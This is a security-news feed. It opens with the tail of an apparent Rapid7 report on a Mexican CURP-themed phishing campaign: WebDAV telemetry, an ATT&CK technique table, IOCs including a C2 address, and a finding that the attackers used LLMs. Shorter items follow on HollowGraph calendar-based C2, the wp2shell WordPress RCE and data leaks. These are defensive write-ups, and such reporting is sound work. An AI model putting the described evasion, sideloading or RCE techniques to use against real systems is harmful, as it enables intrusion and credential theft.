directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[New HollowGraph Malware Hijacks Microsoft 365 Calendars for Covert C2 Communications]]></title>
<description><![CDATA[Researchers have linked HollowGraph malware to the Cavern framework after discovering its use of Microsoft 365 calendars and Microsoft Graph APIs as a stealthy C2 channel This article has been indexed from www.infosecurity-magazine.com Read the original article: New HollowGraph Malware…
Read more...]]></description>
<link>https://tsecurity.de/de/3681208/it-security-nachrichten/new-hollowgraph-malware-hijacks-microsoft-365-calendars-for-covert-c2-communications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681208/it-security-nachrichten/new-hollowgraph-malware-hijacks-microsoft-365-calendars-for-covert-c2-communications/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Researchers have linked HollowGraph malware to the Cavern framework after discovering its use of Microsoft 365 calendars and Microsoft Graph APIs as a stealthy C2 channel This article has been indexed from www.infosecurity-magazine.com Read the original article: New HollowGraph Malware…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-hollowgraph-malware-hijacks-microsoft-365-calendars-for-covert-c2-communications/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-hollowgraph-malware-hijacks-microsoft-365-calendars-for-covert-c2-communications/">New HollowGraph Malware Hijacks Microsoft 365 Calendars for Covert C2 Communications</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[New HollowGraph Malware Hijacks Microsoft 365 Calendars for Covert C2 Communications]]></title>
<description><![CDATA[Researchers have linked HollowGraph malware to the Cavern framework after discovering its use of Microsoft 365 calendars and Microsoft Graph APIs as a stealthy C2 channel]]></description>
<link>https://tsecurity.de/de/3681115/it-security-nachrichten/new-hollowgraph-malware-hijacks-microsoft-365-calendars-for-covert-c2-communications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681115/it-security-nachrichten/new-hollowgraph-malware-hijacks-microsoft-365-calendars-for-covert-c2-communications/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers have linked HollowGraph malware to the Cavern framework after discovering its use of Microsoft 365 calendars and Microsoft Graph APIs as a stealthy C2 channel]]></content:encoded>
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<title><![CDATA[Patch now: WordPress REST API bug allows remote code execution]]></title>
<description><![CDATA[Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.



The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default W...]]></description>
<link>https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.</p>



<p class="wp-block-paragraph">The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default WordPress installation without requiring plugins, authentication, or special configuration.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/adam-kues/" target="_blank" rel="noreferrer noopener">Adam Kues</a> of Searchlight Cyber first reported the issue and published a public <a href="https://wp2shell.com/" target="_blank" rel="noreferrer noopener">checker</a> to assess risks, holding back technical details until a patch was available and admins had enough time to apply it.</p>



<p class="wp-block-paragraph">In a technical analysis published by Hadrian, researchers reconstructed the root cause from WordPress’ <a href="https://wordpress.org/news/2026/07/wordpress-7-0-2-release/" target="_blank" rel="noreferrer noopener">security patch</a> released on July 17. The vulnerability, they said, resides in the core REST API batch endpoint “batch/v1,” where an indexing mismatch during request validation can cause request objects and their associated permission checks to become misaligned.</p>



<p class="wp-block-paragraph">As a result, a crafted batch request can be processed under the wrong authorization context, ultimately allowing remote code execution.</p>



<p class="wp-block-paragraph">“An attacker who reaches the bug gains unauthenticated code execution on the web server,” the researchers <a href="https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api" target="_blank" rel="noreferrer noopener">said.</a> “In practice, that means full control of the site and its content, access to the database and whatever credentials or personal data it holds, and a way into the surrounding hosting environment.”</p>



<p class="wp-block-paragraph">The issue affects WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. According to Hadrian, versions 6.9.5 and 7.0.2 contain the fix, while 6.8.6 includes the same hardening changes even though earlier 6.8.x releases are not affected by this specific vulnerability.</p>



<p class="wp-block-paragraph">Because the vulnerable component is part of WordPress Core and the REST Batch API is enabled by default, any affected site exposing the REST API is potentially reachable by attackers. The researchers said this endpoint remains accessible through both “/wp-json/batch/v1” and the alternate /“?rest_route=/batch/v1” path, even on deployments without rewrite rules.</p>



<p class="wp-block-paragraph">Hadrian recommended upgrading immediately to WordPress 6.9.5 or 7.02, verifying that updates completed successfully, and, where patching cannot be performed immediately, blocking unauthorized access to both REST Batch API endpoints at the web server and through <a href="https://www.csoonline.com/article/563657/calling-barracudas-waf-a-firewall-is-seriously-selling-it-short.html">WAF</a>.</p>



<p class="wp-block-paragraph">Organizations were also advised to inventory all WordPress deployments, including staging and forgotten campaign sites, and review whether unauthorized access to the REST API is necessary for their environment.</p>
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<title><![CDATA[Infosec expert: Paidwork users' data pwned after 23M-record database dumped online]]></title>
<description><![CDATA[HIBP claims leaked info includes bank account numbers, payout histories, and personal details]]></description>
<link>https://tsecurity.de/de/3681082/it-nachrichten/infosec-expert-paidwork-users-data-pwned-after-23m-record-database-dumped-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681082/it-nachrichten/infosec-expert-paidwork-users-data-pwned-after-23m-record-database-dumped-online/</guid>
<pubDate>Mon, 20 Jul 2026 14:19:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[HIBP claims leaked info includes bank account numbers, payout histories, and personal details]]></content:encoded>
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<title><![CDATA[Lights, Spectrometer, Action! (emf2026)]]></title>
<description><![CDATA[Come and watch me point a spectrometer at a load of things, and teach you about how light interacts with stuff. What’s a spectrometer, you ask? Well it’s a device that measures light and produces a graph of the brightness of the light at each wavelength. I inherited one last year, and this talk w...]]></description>
<link>https://tsecurity.de/de/3681056/it-security-video/lights-spectrometer-action-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681056/it-security-video/lights-spectrometer-action-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 13:48:48 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Come and watch me point a spectrometer at a load of things, and teach you about how light interacts with stuff. What’s a spectrometer, you ask? Well it’s a device that measures light and produces a graph of the brightness of the light at each wavelength. I inherited one last year, and this talk will mainly consist of live demos of the spectrometer, along with explanations of what we’re seeing and how it works. The talk will be accessible to almost anyone - you don't need a lot of science knowledge to be able to enjoy it!

I’ll start with looking at some different light sources (incandescent bulbs, fluorescent bulbs, LEDs, sunlight, LCD displays) and then take a look at how a spectrometer works and what is inside the box. I’ll then introduce some other useful bits of kit, including a very expensive sheet of white plastic and a ‘sphere’ that has a surprisingly cuboid shape.

My background is in satellite imaging - which basically uses spectrometers mounted on satellites - so we’ll do a live look at the reflectance graphs we get for things we might be able to see from a satellite, like vegetation, soil and water and try to understand what causes these specific spectra. We’ll link these to real satellite images and cover some of the problems with doing spectroscopy from space - and even explain why a friend of mine did a whole PhD on the reflectance spectra of a concrete runway in the UK.

Finally we’ll try a few experiments that may or may not work, looking at the uses of spectroscopy in chemistry and measuring aerosols.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/51-lights-spectrometer-action]]></content:encoded>
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<title><![CDATA[Threat Actors Allegedly Listed Starbucks Data on Hacker Forums]]></title>
<description><![CDATA[Starbucks has allegedly been listed on a cybercrime forum by a threat actor using the handle “anes2010,” who claims to be selling a database containing 176 million unique user records reportedly extracted in June 2026. Starbucks has not publicly confirmed the alleged security incident, and the cl...]]></description>
<link>https://tsecurity.de/de/3680725/it-security-nachrichten/threat-actors-allegedly-listed-starbucks-data-on-hacker-forums/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680725/it-security-nachrichten/threat-actors-allegedly-listed-starbucks-data-on-hacker-forums/</guid>
<pubDate>Mon, 20 Jul 2026 11:37:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Starbucks has allegedly been listed on a cybercrime forum by a threat actor using the handle “anes2010,” who claims to be selling a database containing 176 million unique user records reportedly extracted in June 2026. Starbucks has not publicly confirmed the alleged security incident, and the claim has not been independently verified. As a result, […]</p>
<p>The post <a href="https://cybersecuritynews.com/alleged-starbucks-data-breach/">Threat Actors Allegedly Listed Starbucks Data on Hacker Forums</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Dear Microsoft: Stop sticking your AI in my IDE]]></title>
<description><![CDATA[Dear Microsoft, 



I don’t want to have a love-hate relationship with Visual Studio Code, but you’re making it really hard.



Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.



And that was great! I gravitated toward...]]></description>
<link>https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Dear Microsoft, </p>



<p class="wp-block-paragraph">I don’t want to have a love-hate relationship with <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a>, but you’re making it really hard.</p>



<p class="wp-block-paragraph">Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.</p>



<p class="wp-block-paragraph">And that was great! I gravitated towards using VS Code for multiple jobs in various languages. I could set up a <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> workflow with extensions to add database-wrangling functionality. I could put together an environment for digital book publishing. I could even set up a project for screenwriting! (Yes, I have a screenplay in progress. A man can dream.)</p>



<p class="wp-block-paragraph">Now, it’s not like all this went away yesterday. I can still do all of the above. But <em>literally every new feature</em> in VS Code these days is all about agents, AI, and LLMs. It makes me wonder if there’s anyone left in the building who is working on the actual editor anymore.</p>



<p class="wp-block-paragraph">In the <a href="https://code.visualstudio.com/updates/v1_127">release notes for VS Code 1.127</a>, literally every single new feature <a href="https://code.visualstudio.com/updates/v1_127#_integrated-browser">save one</a> was about agents and AI. Ditto <a href="https://code.visualstudio.com/updates/v1_126">the version before that</a>. The <a href="https://code.visualstudio.com/updates/v1_125">version before that</a> was a little better, but the trend has been clear for some time now: Visual Studio Code is fast becoming an agent front end first, and everything else is a distant second.</p>



<p class="wp-block-paragraph">One argument I’ve heard is that VS Code is now a mature project. Because there just isn’t much left to be done to improve the core, you have directed your attention towards other features that will attract new users. And because agent-and-AI mania is still burning through the enterprise (and everyone’s budgets), agent-and-AI features are the order of the day.</p>



<p class="wp-block-paragraph">But do these features really need to be IDE-level features? Instead of drastically retooling VS Code to support agents, and making AI features native elements of the IDE, shouldn’t the real mission be to support VS Code’s native extensibility? After all, VS Code was built to be extended, and <a href="https://marketplace.visualstudio.com/search?target=VSCode&amp;category=AI&amp;sortBy=Installs">thousands of AI add-ons</a> — including <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> and <a href="https://marketplace.visualstudio.com/search?term=microsoft&amp;target=VSCode&amp;category=AI&amp;sortBy=Relevance">dozens of your own extensions</a> — already take advantage of that.</p>



<p class="wp-block-paragraph">Is all this really about what AI features VS Code can support natively, or is it more about making VS Code a default first point of contact for agents and AI — specifically <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>? Is this less about developer convenience, and more about guaranteeing — however obnoxiously — that agents and AI tools always have a central place in VS Code?</p>



<p class="wp-block-paragraph">Whatever the goal is, if you think every VS Code user wants an “<a href="https://www.infoworld.com/article/4193975/the-ide-is-dead-long-live-the-ade.html">agentic development environment</a>” instead of an IDE, I think you’re dead wrong.</p>



<p class="wp-block-paragraph">No doubt AI tools are here to stay. But I do think they will experience a reckoning. Frontier models that do everything and six more things on top of that are becoming of real use only to the big vendors who stick API tollbooths in front of them and construct wetland-devouring data centers the size of the Vegas strip to power them. The future looks more like smaller, locally-hosted models that handle highly specialized tasks and require far fewer resources to train, deploy, and serve. (Even you seem to be moving in that direction, with the <a href="https://blogs.windows.com/msedgedev/2026/06/02/expanding-on-device-ai-in-microsoft-edge-new-models-and-apis-for-the-web/">Aion on-device models</a>.)</p>



<p class="wp-block-paragraph">The deeper we go into that reckoning, the less it makes sense to have cart-before-the-horse arrangements like VS Code’s native AI features. How long before these features get hoisted back out of VS Code and moved to an add-on (albeit one we get nagged to install every time we fire up our IDE)? Sooner rather than later, I’d bet.</p>



<p class="wp-block-paragraph">Still, until that fine day comes, I’m resigning myself to the idea that my current favorite editor will be stuffed with more and more AI features, whether or not they even make sense in my use case, for a long, wearying time to come.</p>



<p class="wp-block-paragraph">At least I can <a href="https://code.visualstudio.com/docs/supporting/FAQ#_can-i-disable-ai-functionality-in-vs-code">turn all that stuff off</a>. For now.</p>



<p class="wp-block-paragraph">As I was writing this (in VS Code, no less), I got an update to VS Code 1.128. There’s one nice feature in there I could see myself using quite widely: <a href="https://code.visualstudio.com/updates/v1_128#_os-level-keyboard-shortcuts">the ability to register OS-level keyboard shortcuts</a>. But the rest? All AI, all agents, all the time.</p>
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<title><![CDATA[The gravitational pull of AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



